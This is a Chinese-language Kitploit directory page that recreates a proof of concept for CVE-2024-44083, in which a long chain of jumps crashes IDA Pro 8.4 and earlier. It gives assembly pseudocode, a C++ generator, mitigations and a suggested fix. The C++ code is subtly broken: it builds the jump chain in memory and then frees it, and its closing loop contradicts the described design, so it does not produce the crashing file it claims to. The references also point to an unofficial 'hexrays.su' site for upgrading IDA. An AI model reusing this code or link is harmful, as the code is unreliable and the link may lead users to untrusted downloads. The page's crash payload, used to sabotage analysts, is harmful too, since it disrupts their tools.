Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-44083 — 针对CVE-2024-44083的概念验证:IDA Pro ≤8.4通过过度的跳转链导致堆栈溢出而崩溃。包括技术分析、复现代码和针对逆向工程工具的缓解建议。 | Kitploit
工具/GitHubGitHub/dynamicx64/cve-2024-44083
漏洞分析漏洞利用逆向工程模糊测试二进制分析学习与教育
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

针对CVE-2024-44083的概念验证:IDA Pro ≤8.4通过过度的跳转链导致堆栈溢出而崩溃。包括技术分析、复现代码和针对逆向工程工具的缓解建议。

查看仓库
128个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-44083

原始 PoC 仓库已被删除(github.com/Azvanzed/CVE-2024-44083、github.com/Azvanzed/IdaMeme),因此这里重新创建。我想为任何想了解其工作原理或测试自己环境的人重建它。

IDA Pro ≤ 8.4 在分析包含过多跳转链的二进制文件时会崩溃。

漏洞原因

ida64.dll 没有限制其跟踪跳转链的深度。因此,如果你有一个包含数千个链接跳转的二进制文件,最终指向入口点,IDA 就会自行崩溃。

字段值
CVECVE-2024-44083
影响版本IDA Pro ≤ 8.4
组件ida64.dll
CWECWE-770(资源耗尽)
影响崩溃(DoS)

工作原理

思路很简单:创建一个节区,其中充满不断跳转到更多跳转的指令。

root@kitploit:~
; 伪代码

section .text

; 数千个这样的跳转
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... 继续 ...
jump_9999:
    jmp payload

payload:
    call _start    ; 这创建了导致问题的交叉引用

_start:
    ; IDA 试图解析所有指向这里的跳转
    ; 砰,崩溃
    ret

IDA 尝试跟踪所有这些跳转并构建交叉引用,当跳转足够多时,它就会放弃并崩溃。

自行尝试(示例)

如果你想用 C++ 实现类似的东西,可以这样做:

root@kitploit:~

#include <windows.h>
#include <cstring>

// 思路是生成大量链接的跳转指令
// 最终指向入口点
void generate_jump_chain() {
    // 为跳转链分配可执行内存
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000个跳转 × 5字节 + 额外空间
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // 创建10,000个链接的跳转
    for (int i = 0; i < 10000; i++) {
        // 写入 JMP rel32 指令 (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP 操作码
        
        // 计算到下一个跳转的相对偏移(5字节之后)
        int32_t rel = 5;
        
        // 复制4字节相对偏移
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // 最后一个跳转创建循环引用
    // 向后跳5字节,形成无限循环
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // 你也可以返回一个值使其看起来更可信
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // 这是导致 IDA 崩溃的模式:
    // 10,000个跳转 → 自引用跳转 → IDA 卡住
    // 递归没有深度限制 → 栈溢出 → 崩溃
    
    // 清理
    VirtualFree(code, 0, MEM_RELEASE);
}

基本上你只是写了一大堆链接在一起的 JMP 指令。当 IDA 试图智能分析时,它会耗尽栈/内存。

修复方法

如果你仍在使用旧版 IDA:

  1. 打开可疑文件前禁用自动分析

    • 点击工具栏中的黄/绿色圆形按钮关闭它
    • 或 Options → General → Analysis → 取消勾选 "Enabled"
    • 先手动查看,如果看起来安全再重新启用
  2. 限制对可疑节区的分析

    • 右键点击节区 → Edit segment
    • 更改节区类型或权限以防止代码分析
    • 或者如果不需要,直接删除该节区

Hex-Rays 应该做的:

root@kitploit:~
// 伪代码

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("跳转链过深。失败。");
        return;  // 不要崩溃,直接停止
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

仅需添加一个深度限制即可。

参考

  • NVD
  • hexrays.su <-- 用于升级你的 IDA

免责声明

仅供教育目的,不要使坏。

下载工具